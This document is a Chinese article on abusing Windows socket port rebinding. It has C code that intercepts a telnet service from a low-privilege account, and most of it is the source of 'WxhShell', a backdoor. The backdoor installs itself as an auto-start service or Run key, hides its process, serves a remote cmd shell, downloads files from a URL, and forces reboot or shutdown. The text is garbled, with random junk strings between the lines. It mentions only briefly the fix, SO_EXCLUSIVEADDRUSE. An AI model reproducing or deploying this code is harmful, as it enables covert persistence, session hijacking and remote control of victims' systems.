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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2L7ogyrU/A s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2S-z$Bi}] Xm^/t# saddr.sin_family = AF_INET; ]hY4
MS b|g=&T:pp saddr.sin_addr.s_addr = htonl(INADDR_ANY); j$khGR! bVds23q bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zR }vw{ qk!,:T 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WI\h@qSB K%NgZ(x( 这意味着什么?意味着可以进行如下的攻击: A55F *d ^xF-IA#ZeB 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &=v5M9GR] r?=3TAA 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u!I=|1s \Oa11c`6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )<^G]ajn v'u}%FC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Rc`zt7hbJ rA1;DSw6E[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MF4B 2d ddvtBAX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cmbl"Pqy1 wy#5p]!u 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y
j*Y*LB~ 4>te>[ #include k\lU
Q\/O5 #include e2MjV8Bs #include 0tP{K #include *^.OqbO[U DWORD WINAPI ClientThread(LPVOID lpParam); 420yaw/": int main() ^h"F\vIpV { ]YwvwmZ WORD wVersionRequested; %jj\w> DWORD ret; /7yd&6`I WSADATA wsaData; 1Et{lrgh
f BOOL val; ]gB:ht SOCKADDR_IN saddr;
YC d SOCKADDR_IN scaddr; >I;J!{ int err; zZ{(7Kfz SOCKET s; Mg=R**s1x% SOCKET sc; _}:#T8h int caddsize; ??=su.b HANDLE mt; eLN[`hJ DWORD tid; TvwkeOS#}7 wVersionRequested = MAKEWORD( 2, 2 ); BYWs\6vK err = WSAStartup( wVersionRequested, &wsaData ); F}=O Mo:. if ( err != 0 ) { )VFS&|#\ printf("error!WSAStartup failed!\n"); \xexl1_; return -1; d/xGo[?$ }
tf?"AY4 saddr.sin_family = AF_INET; wVtBH_> o9AwW //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EMMp4KKOx+ 7?"-NrW~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %2EHYBQjN saddr.sin_port = htons(23); .vhEm6wJUM if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;>h:VnV(>( { h&m4"HBL_ printf("error!socket failed!\n"); Dh B*k<S return -1; Ebytvs,w } vy1N,8a val = TRUE; @[w.!GW% //SO_REUSEADDR选项就是可以实现端口重绑定的 }-15^2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [rtMx8T { {.D/MdwW; printf("error!setsockopt failed!\n"); 95hdQ<W return -1; QeipfK+me } : tcqb2p //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]:F?k#c //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a
qIpO //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p)w{}@%r X(fT[A_2C if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B5H=# { SbN.z ret=GetLastError(); >19j_[n@VC printf("error!bind failed!\n"); (ixlFGvEq return -1; t[Ywp!y[ } i4r8146D[ listen(s,2); N"&qy3F while(1) _/)HAw?k { W"ldQ caddsize = sizeof(scaddr); |g8Q.*"l[ //接受连接请求 V}+Ui]ie|I sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]sG^a7Z.X if(sc!=INVALID_SOCKET) 7=[/J*-m { |FH|l#bu> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }ec3qZ@ if(mt==NULL) k9 NPC" { |;MW98 A printf("Thread Creat Failed!\n"); <)ltvo( break; RqRyZ*n } e{7"7wn= } #>\%7b59> CloseHandle(mt); Xwt}WSdF`k } UZb!tO2 closesocket(s); +o^sm '$ WSACleanup(); m. "T3K return 0; JWo). } ~sbn"OS+ DWORD WINAPI ClientThread(LPVOID lpParam) I2^Eo5' { eL{6;.C SOCKET ss = (SOCKET)lpParam; Z}s56{!. SOCKET sc; z{ MO~d9 unsigned char buf[4096]; Rg6/6/ IN SOCKADDR_IN saddr; W@FRKDixG long num; "6zf-++% DWORD val; ' DWORD ret; hz*H,E!> //如果是隐藏端口应用的话,可以在此处加一些判断 VAet!H +] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 m.2=,,r<Fq saddr.sin_family = AF_INET; ?Q G?F9? saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p~NFiZ, saddr.sin_port = htons(23);
:to1%6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KW-g $Ma { G*\U'w4w|* printf("error!socket failed!\n"); ^U[yk'!Y return -1; D~LU3#n } 2(iv+<t val = 100; cOo@UU P if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZtH{2j0 { \YrvH ret = GetLastError(); do&0m[x% return -1; }hA h'*( } :]+p#l if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WpPI6bd { 0o&B 7N ret = GetLastError(); wS}Rl}#Oh? return -1; 6*tbil_G+ } _l||69|. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MR-cO Pn { sm96Ye{O{ printf("error!socket connect failed!\n"); :Co+haW closesocket(sc); 6 Z7J<0 closesocket(ss); m.DC return -1;
fgE Mn; } }Asp=<kCc while(1) SlojB ^% { k*Vf2O3${ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @(_f}SgfE //如果是嗅探内容的话,可以再此处进行内容分析和记录 HC\\w-`< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ti}G/*4 num = recv(ss,buf,4096,0); a-Ef$(i_ if(num>0) :MbD=sX send(sc,buf,num,0); #7yy7Y5 else if(num==0) 6>Ca O break; k:k!4 num = recv(sc,buf,4096,0); @#W$7Gwf0 if(num>0) +KKx\m* send(ss,buf,num,0); ?2$0aq else if(num==0) `.F+T)G break; Xsit4Ma } {_<,5)c closesocket(ss); _rjLCvv- closesocket(sc); aB+B1YdY" return 0 ; hDc)\vzr } *zn=l+c j~:N8(= z3>oUq{ ========================================================== >(:b\*C i1JWdHt 下边附上一个代码,,WXhSHELL Owz.C_{) Vuu_Sd ========================================================== [osm\w49 6q]`??g. #include "stdafx.h" #ZS8}X*S u{"@
4 #include <stdio.h> OP}8u"\Z #include <string.h> 06peo
d #include <windows.h> ;%tu; #include <winsock2.h> 8NS1* \z #include <winsvc.h> d[Lr`=L; #include <urlmon.h> B{+ Ra SX I3y #pragma comment (lib, "Ws2_32.lib") YDMimis\H5 #pragma comment (lib, "urlmon.lib") 5{uK;Vxse gQ=g,X4 #define MAX_USER 100 // 最大客户端连接数 "TgE@bC #define BUF_SOCK 200 // sock buffer wRi` L7 #define KEY_BUFF 255 // 输入 buffer I N'a5&.. /P-Eg86V' #define REBOOT 0 // 重启 &QL!Y{=Y6 #define SHUTDOWN 1 // 关机 @xI:ZtM @^';[P! #define DEF_PORT 5000 // 监听端口 #=hI}%n P5*~Wi` #define REG_LEN 16 // 注册表键长度 L)LW5%.6 #define SVC_LEN 80 // NT服务名长度 HX3R@^vo pwvcH3l/r // 从dll定义API IO\>U(:vx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WhR j@y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oT\u^WU typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Evn=3Tw typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lbtVQW0V;o ~KufSt* // wxhshell配置信息 7.o:(P1??g struct WSCFG { Hi 1@ int ws_port; // 监听端口 i:ZL0nH- char ws_passstr[REG_LEN]; // 口令 z|V5/" int ws_autoins; // 安装标记, 1=yes 0=no '>] 9efJA char ws_regname[REG_LEN]; // 注册表键名 vNhi5EU char ws_svcname[REG_LEN]; // 服务名 MxY~(TVPK char ws_svcdisp[SVC_LEN]; // 服务显示名 /@<Pn&Rq char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y70[Nz char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w<hw>e^. int ws_downexe; // 下载执行标记, 1=yes 0=no SJtQK-%wK> char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" .#,!&Lt char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @k!J}O
K $EB&]t+ }; >h0iq p. eq
N // default Wxhshell configuration GIt~"X struct WSCFG wscfg={DEF_PORT, /-qSYS( "xuhuanlingzhe", ) /kf 1, :D>afC8, "Wxhshell", 4E`y*Hmzy+ "Wxhshell", s0 ZF+6f "WxhShell Service", @{_L38. Nw "Wrsky Windows CmdShell Service", v>FsP$p4yE "Please Input Your Password: ", ?v-( :OF 1, |&+0Tg~ZE " http://www.wrsky.com/wxhshell.exe", hlpi-oW` "Wxhshell.exe" cuO)cj]@e }; El;\#la .a%D:4GYR // 消息定义模块 fb7Gy char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2nW:|*:/p6 char *msg_ws_prompt="\n\r? for help\n\r#>"; HJVi:;o
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 8\?7k char *msg_ws_ext="\n\rExit."; _;G. QwHr char *msg_ws_end="\n\rQuit."; #,0PLU3% char *msg_ws_boot="\n\rReboot..."; e`pYO]Z char *msg_ws_poff="\n\rShutdown..."; $niJw@zC char *msg_ws_down="\n\rSave to "; ]d$:R`; ?MT
V!i0 char *msg_ws_err="\n\rErr!"; 'u6T^Y S char *msg_ws_ok="\n\rOK!"; &_-,Nxsf iGxlB char ExeFile[MAX_PATH]; *f% u c int nUser = 0; Yv?nw-HM HANDLE handles[MAX_USER]; OOzk@j^ int OsIsNt; G%{J.J41F R?)M#^"W SERVICE_STATUS serviceStatus; 4K_rL{s0U SERVICE_STATUS_HANDLE hServiceStatusHandle; l<5@a
( Arg604V3 // 函数声明 uhi(Gny. int Install(void); 9yU(ei:GUo int Uninstall(void); J1@X6U!{ int DownloadFile(char *sURL, SOCKET wsh); u@j]U|FpY int Boot(int flag); kvWP[! j?) void HideProc(void); C`s int GetOsVer(void); ^}JGWGib=+ int Wxhshell(SOCKET wsl); [{]/9E/& void TalkWithClient(void *cs); T r|B:)X int CmdShell(SOCKET sock); )Gf"#TM[ int StartFromService(void); [D!-~]5 int StartWxhshell(LPSTR lpCmdLine); \ 5MD1r} :@BAiKa[wa VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Rra3)i`* VOID WINAPI NTServiceHandler( DWORD fdwControl ); z_Em%X c/:d$o- // 数据结构和表定义 (x;Uy SERVICE_TABLE_ENTRY DispatchTable[] = ( v<l9}! { 8|Wu8z-- {wscfg.ws_svcname, NTServiceMain}, RO>3U2 {NULL, NULL} :c4iXK0_^? }; 5)tDgm ]>j>bHG // 自我安装 'o D31\@I int Install(void) MIV<"A { 6j*L]Sc char svExeFile[MAX_PATH]; 5k%GjT HKEY key; 1~J:hjKQ strcpy(svExeFile,ExeFile); UH8q:jOi OV@MT^ // 如果是win9x系统,修改注册表设为自启动 MHl ffj if(!OsIsNt) { 1!(Og~#( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |p4D!M+$7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %y7&~me RegCloseKey(key); Uq}F rK} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (d9G` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A_h|f5
RegCloseKey(key); xIOYwVC return 0; p"%K(NL } HuVx^y`
@ } *Sd}cDCO% } .|$:%"O&X else { 8iv0&91Z Hnq$d6F // 如果是NT以上系统,安装为系统服务 Q7
4Q|r7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _*K=Z,a;\ if (schSCManager!=0) n(}cK@ { Z-md$=+}w SC_HANDLE schService = CreateService DGc5Lol~ ( V(lxkEu/Fj schSCManager, !6`pq wscfg.ws_svcname, J Wh5gOXd wscfg.ws_svcdisp, ''Pu SERVICE_ALL_ACCESS, r$8(Q' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tv]^k]n{rf SERVICE_AUTO_START, D+nKQ4 SERVICE_ERROR_NORMAL, U"qR6 svExeFile, A$JL"~R NULL, 0uZL*4A+C NULL, bjL8Wpk NULL, vtByC u5 NULL, b] EC+. NULL K/flg|uZ/V ); ydZS^BqG if (schService!=0) GLBzlZ? { |8{c|Qz CloseServiceHandle(schService); d`w3I`P1 CloseServiceHandle(schSCManager); G7qB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tM:%{az strcat(svExeFile,wscfg.ws_svcname); su}n3NsJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y/.I<5+Bu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j}`XF?2D RegCloseKey(key); ZZ? KD\S5 return 0; a>o]garB+ } =Hd+KvA } JS!`eO/8 CloseServiceHandle(schSCManager); _{C
=d3 } nOm-Yb+F } .T\jEH8E BO%aCK& return 1; >zS<1 } -V F*h.' |?gO@?KDZ // 自我卸载 PAy/"R9DT- int Uninstall(void) xTGdh { 6JB*brO HKEY key; <*3#nA-O>i mHB0eB'l if(!OsIsNt) { =M],5<2; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { khb/"VYd RegDeleteValue(key,wscfg.ws_regname); =J GL~t? RegCloseKey(key); Zsto8wuf# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bjr()NM1 RegDeleteValue(key,wscfg.ws_regname); 8dUP_t~d#q RegCloseKey(key); <- (n48 return 0; 8#ZF<BY } e6i m_ Tk }
'E)g )@^ } O$(#gB'B else { )qeed-{ ,382O$C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .FeVbZW if (schSCManager!=0) M`49ydh& { *%n(t+'q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r!&}4lHYi if (schService!=0) r
E&}B5PN= { v
8B4%1NE if(DeleteService(schService)!=0) { ZkqZO#nq
C CloseServiceHandle(schService); X<<FS%:+ CloseServiceHandle(schSCManager); ^0g!,L return 0; y7T<Auue` } #By~gcN CloseServiceHandle(schService); #:xv]qb`k } f/vsf&^O CloseServiceHandle(schSCManager); #A 7|=E } 71c(Nw~iQ } hiw>Q7W &R,QJ4L return 1; x-s\0l } sf Zb$T
J ziXI$B4- // 从指定url下载文件 * zc[t int DownloadFile(char *sURL, SOCKET wsh) W.^R/s8O%5 { C#@-uo2 HRESULT hr; }=fls=c/0 char seps[]= "/"; Ns$,.D char *token; W=I~GhM char *file; ]Q -.Y-J/O char myURL[MAX_PATH]; 'kHa_ char myFILE[MAX_PATH]; ke2}@|?t ~Z}DN*S strcpy(myURL,sURL); 3'!*/UnU token=strtok(myURL,seps); TGZr
[ while(token!=NULL) g4Nl"s*~ { i>
dLp file=token; =}%Q}aPp token=strtok(NULL,seps); D22A)0+_ } Ki dbcZ AWDy_11Nm GetCurrentDirectory(MAX_PATH,myFILE); / hYFOZ strcat(myFILE, "\\"); M;sT+Z{ strcat(myFILE, file); sMcN[r send(wsh,myFILE,strlen(myFILE),0); (!% w send(wsh,"...",3,0); xTy)qN]P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H^XTzE if(hr==S_OK) CcZM0 return 0; 11B8 LX else bd&Nf2 return 1; ]Cp`qayct ]Y3s5#n } i2!0bY |N0RBa4% // 系统电源模块 w01u~"E int Boot(int flag) sOm&7A? { J+=?taZ HANDLE hToken; }CvhLjo TOKEN_PRIVILEGES tkp; OBf$0 Hlz$@[$ if(OsIsNt) { wRJ`RKJ-T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w
sbzGW~= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f\~A72- tkp.PrivilegeCount = 1; 2U) 0k* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5}:`CC2,S~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (/C
8\}Ox if(flag==REBOOT) { tJpK/"R' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2Zr,@LC return 0; AdWP } s,~g| I\ else { ycrM8Mu
3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u2cDSRrqT return 0; !JbWxGN`jn } LUEZqIf } /|8/C40aY else { J#?z/ 3v( if(flag==REBOOT) { qsdgG1< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y``]66\Fp return 0;
BO'7c1FU } c:2LG_mQ else { 2I{kLN1TY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >~})O&t return 0; Tb!jIe } 40%<E } @k\npFKQm <P#:dS%r return 1; ->2m/d4a } .DHQJ|J-1 [BFPIVD)h] // win9x进程隐藏模块 {11xjvAD void HideProc(void) , nW)A/?} { $tDM
U3,W nTr{D&JS HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zG\:#,9 if ( hKernel != NULL ) uuYeXI; { Vj6w7hz pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I.kuYD62 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b ; U FreeLibrary(hKernel); ov,[F<GT } 6)_h'v<|M S%3&Y3S return; 8B3C[? } 8j}o\!H H Yw7* // 获取操作系统版本 EC7)M}H int GetOsVer(void) &+ UnPE(
{
#M|q}jA| OSVERSIONINFO winfo; bkiMF$K,K winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h=dFSK?*D GetVersionEx(&winfo); :*eJ*(M if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 83_vo0@<6 return 1; CB`GiH/j else ex8}./mjJ return 0; .GIygU_ } )3)x/WM {}"a_L&[; // 客户端句柄模块 VbX$\Cs: int Wxhshell(SOCKET wsl) - @t L]] { j9&x#U SOCKET wsh; t!o=-k struct sockaddr_in client; o':K4r; DWORD myID; 9(hI%idq 7E;`1lh7 while(nUser<MAX_USER) :"`1}Q { C;oO=R3r int nSize=sizeof(client); n7hjYNJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {VKP&{~O if(wsh==INVALID_SOCKET) return 1; L
|
#"Yn >w#&fd handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X 1}U if(handles[nUser]==0) duoM>B>8] closesocket(wsh); ,soXX_Y> else kg^5D3!2{Q nUser++; UD^=@?^7 } BKQwF*<V WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'W/AYF^5 1aoKf F( return 0; :b<< } vWjHHw &;%,Axc // 关闭 socket /`g~lww2O void CloseIt(SOCKET wsh) k]S`A,~ { `Wp y6o closesocket(wsh); 5E}!TL$ nUser--; f9^MLb6) ExitThread(0); U\dLq&=V } ;upYam" '3TfW61] // 客户端请求句柄 :+%Yul void TalkWithClient(void *cs) GP_%.fO\M { bRI `ZT0 7A{,)Y/w ^ SOCKET wsh=(SOCKET)cs; $|7;(2k char pwd[SVC_LEN]; nBzju?X)I char cmd[KEY_BUFF]; Pl&x6\zL char chr[1]; >g2Z t;*@w int i,j; ltOsl-OpR bP7_QYQ6 while (nUser < MAX_USER) { "`
kSI&2 GW0e=Y=LR if(wscfg.ws_passstr) { ;;mr?'R if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \hZye20 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r(I&`kF< //ZeroMemory(pwd,KEY_BUFF); lD,;xuQ i=0; p`}G"DM while(i<SVC_LEN) { Je=k.pO1 ;:8SN&). // 设置超时 8!qzG4F/ fd_set FdRead; .{"wliC2 struct timeval TimeOut; 3Cg0^~?6- FD_ZERO(&FdRead); CMU\DO FD_SET(wsh,&FdRead); 6gB;m$:fV TimeOut.tv_sec=8; j Kp79]. TimeOut.tv_usec=0; DVw 04ay% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e?fA3Fug if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T:S[[#f{5 Ev,b5KelD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'J_6SD pwd =chr[0]; "$ep=h+ if(chr[0]==0xd || chr[0]==0xa) { +]0/:\(B pwd=0; _dwJ; j`2 break; $TFWum9wO } oe{,-<yck i++; zUz j
F } :-e[$6}S II{"6YI> // 如果是非法用户,关闭 socket zj7?2 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7-4S'rq+ } JO&+W^$uY} h&<>nK
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PbY=?>0 z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n*A"}i`ix `tJ"wpCf6 while(1) { p~h[4hP mZ#h p}\. ZeroMemory(cmd,KEY_BUFF); ;#ElJXS sQ8kLS_q8 // 自动支持客户端 telnet标准 vec4R )S j=0; kB]*2o9-3 while(j<KEY_BUFF) { 52' 0l> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NJPp6RZ% cmd[j]=chr[0]; lh*!f$2~ if(chr[0]==0xa || chr[0]==0xd) { R)'[Tt`# R cmd[j]=0; 1NQU96 break; xs$.EY:k } jDCf]NvOPM j++; x1`zD*{ } ]DLs'W;) 0EBHRY_F // 下载文件 fU^5Dl if(strstr(cmd,"http://")) { 7 MG<!U send(wsh,msg_ws_down,strlen(msg_ws_down),0); F tay8m@f if(DownloadFile(cmd,wsh)) /gq\.+'{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); /H :Bu else ~A,(D- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cb%ML1c }
c->?'h23) else { &-p!Lg&D X oh@ (% switch(cmd[0]) { j:xm>X' (?kCo // 帮助 u^+
(5| case '?': { x)-n[Fu send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u~\ NL{ break; R/kfbV-b } la89>pF // 安装 9 N9Q#o$!. case 'i': { 2 D!$x+| if(Install()) ky@DH(^> send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1owe'7\J else P B"nf|pm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ms/Q- break; h#]LXs } rwY{QBSf // 卸载 c}D>.x|] case 'r': { fx= %e if(Uninstall()) |eH*Q%M send(wsh,msg_ws_err,strlen(msg_ws_err),0); G|)fZQ1nS else f^ 6da6Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }!@X(S!do
break;
bC%}1wwh } -SKcS#IF // 显示 wxhshell 所在路径 4nGr?%> case 'p': { A&=`?4> char svExeFile[MAX_PATH]; KhPDkD- strcpy(svExeFile,"\n\r"); `(pe#Xxn strcat(svExeFile,ExeFile); BnIZ+fg= send(wsh,svExeFile,strlen(svExeFile),0); :1e'22[=. break; Oy~X@A } Df=zrs[" // 重启 9H,Ec,. case 'b': { n^k Uu2g| send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VMV~K7%0 if(Boot(REBOOT)) rI4N3d;C send(wsh,msg_ws_err,strlen(msg_ws_err),0); ej{7)# else { [C( >e0r closesocket(wsh); `zMR?F` ExitThread(0); t$5)6zG } cK6IyJx- break; F+::UWKA } #GA6vJ4^s // 关机 5'"l0EuD case 'd': { vAo|o* send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dv-ubki if(Boot(SHUTDOWN)) .DZ8kKY send(wsh,msg_ws_err,strlen(msg_ws_err),0); iM{UB=C else { YOY{f:ew closesocket(wsh); k{B;J\`E; ExitThread(0); R*z:+p}oHy } 7;H P_oAu break; "uHU!)J#z } 0vi\o`**Mj // 获取shell OQa;EBO case 's': { (X}Q'm$n\h CmdShell(wsh); qlIbnyP< closesocket(wsh); +*P;Vb6 D ExitThread(0); \[;Qqn0 break; /2AeJH\- } ^+q4* X6VB // 退出 ">NPp\t>/Z case 'x': { Nlfz'_0M send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #J)83 CloseIt(wsh); [wR x)F" break; L(i0d[F } LwS>jNJx // 离开 Ncle8=8 case 'q': { {\zB'SNq send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8f{;oO closesocket(wsh); pG9qD2Cf WSACleanup(); K18Sj,]B exit(1); #ysSfM6 break; /\|AHM } e x`mu E } u[2B0a } (DrDWD4_ ~q05xy8 // 提示信息 /E0/)@pDq if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )#_:5^1 } X6lUFko } Z=\wI:TY1 @8qo(7<~Q return; CPS1b } t+`>zux5(T @2Ca]2,4 // shell模块句柄 ]^
"BLbDZ@ int CmdShell(SOCKET sock) -Rz%<` { }iCcXZ&5^ STARTUPINFO si;
*^b<CZd9 ZeroMemory(&si,sizeof(si)); ;fnE"} si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "=ogO/_Q" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; li~#6$ PROCESS_INFORMATION ProcessInfo; vynchZ+g] char cmdline[]="cmd"; qz2j55j CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }m0hq+p^ return 0; xh raf1v3\ } `L1lGlt L:3 // 自身启动模式 E3<~C(APW int StartFromService(void) a}#Jcy!e { !>Ru= $9 typedef struct $2+(|VG4F { skRI\ DWORD ExitStatus; #:6gFfk0< DWORD PebBaseAddress; Kx@;LRY# DWORD AffinityMask; YoEL|r| DWORD BasePriority; cKbsf^R[e ULONG UniqueProcessId; eLc@w<yB ULONG InheritedFromUniqueProcessId; `lA[-x~ } PROCESS_BASIC_INFORMATION; / %:%la% 5EqC.g. PROCNTQSIP NtQueryInformationProcess; .8K ~ h ~\~K,v static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EM&;SQ;C9 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V)g{ Ew]: F;@A2WD HANDLE hProcess; 6V@?/B PROCESS_BASIC_INFORMATION pbi; ?}g#Mc )]~;Ac^x HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~GZpAPg* if(NULL == hInst ) return 0; 2%F!aeX N)H
